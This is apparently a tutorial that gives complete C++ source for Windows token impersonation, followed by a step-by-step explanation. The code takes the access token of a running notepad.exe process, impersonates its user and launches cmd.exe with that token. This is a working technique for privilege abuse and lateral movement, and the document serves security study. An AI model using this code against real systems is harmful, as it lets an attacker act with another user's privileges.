Process Token Impersonation

C++ Code

```cpp
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <tlhelp32.h>

using namespace std;

int getPIDbyProcName(const char* procName) {
    int pid = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hSnap, &pe32) != FALSE) {
        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {
            if (strcmp(pe32.szExeFile, procName) == 0) {
                pid = pe32.th32ProcessID;
            }
        }
    }
    CloseHandle(hSnap);
    return pid;
}

int main(int argc, char* argv[]) {
    HANDLE hVictimProcess;
    HANDLE hToken;
    int victimPID;
    TOKEN_USER* tokenUser;
    DWORD tokenUserSize = 0;

    victimPID = getPIDbyProcName("notepad.exe");
    if (victimPID == 0) {
        cout << "Process not found" << endl;
        return 1;
    }

    // Impersonation User Process Token

    hVictimProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, victimPID);
    if (hVictimProcess == NULL) {
        cout << "OpenProcess failed" << endl;
        return 1;
    }

    if (!OpenProcessToken(hVictimProcess, TOKEN_ALL_ACCESS, &hToken)) {
        cout << "OpenProcessToken failed" << endl;
        return 1;
    }

    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hToken)) {
        cout << "DuplicateTokenEx failed" << endl;
        return 1;
    }

    if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &tokenUserSize)) {
        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
            cout << "GetTokenInformation failed" << endl;
            cout << GetLastError() << endl;
            return 1;
        }
    }

    tokenUser = (TOKEN_USER*)new char[tokenUserSize];

    if (!GetTokenInformation(hToken, TokenUser, tokenUser, tokenUserSize, &tokenUserSize)) {
        cout << "GetTokenInformation failed" << endl;
        cout << GetLastError() << endl;
        delete[] (char*)tokenUser;
        return 1;
    }

    if (!ImpersonateLoggedOnUser(hToken)) {
        cout << "ImpersonateLoggedOnUser failed" << endl;
        return 1;
    }

    cout << "Impersonation successful" << endl;

    //Process Execution
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcessAsUser(hToken, NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        cout << "CreateProcessAsUser failed" << endl;
        cout << GetLastError() << endl;
        return 1;
    }

    cout << "Process created" << endl;
    delete[] (char*)tokenUser;

    return 0;
}
```

This code is a C++ program for Windows that demonstrates how to find a process by its name, obtain its token, impersonate the logged-on user of that process, and then create a new process with the impersonated token. It essentially allows you to create a new process as if it were initiated by an existing process (in this case, "notepad.exe").

Here's a breakdown of the key components and functions in this code:

1. ***getPIDbyProcName(const char** procName)**:
    - This function takes the name of a process (e.g., "notepad.exe") as input and returns the process ID (PID) of the first process with that name found in the system.
    - It uses the `CreateToolhelp32Snapshot` function to enumerate all running processes, and then iterates through them using `Process32First` and `Process32Next` to find the target process.
    - Once the target process is found, its PID is returned.
2. ***main(int argc, char** argv[])**:
    - The `main` function is where the program starts its execution.
    - It first calls `getPIDbyProcName` to find the PID of the "notepad.exe" process (or any specified process name).
    - If the target process is not found, it prints an error message and exits.

Impersonation:

- The code then proceeds to impersonate the logged-on user of the target process using the process's token.
- It opens the target process with `OpenProcess`, retrieves its token with `OpenProcessToken`, and duplicates the token with `DuplicateTokenEx`. This duplicated token is used for impersonation.
- The `ImpersonateLoggedOnUser` function is used to perform the actual impersonation, making the program act on behalf of the user running the "notepad.exe" process.

Process Execution:

- After successful impersonation, the code sets up to create a new process (`cmd.exe` in this case) using the impersonated token.
- It uses `CreateProcessAsUser` to create the new process, effectively running it with the same privileges as the original "notepad.exe" process.

Finally, the program prints messages indicating the success or failure of each step along the way.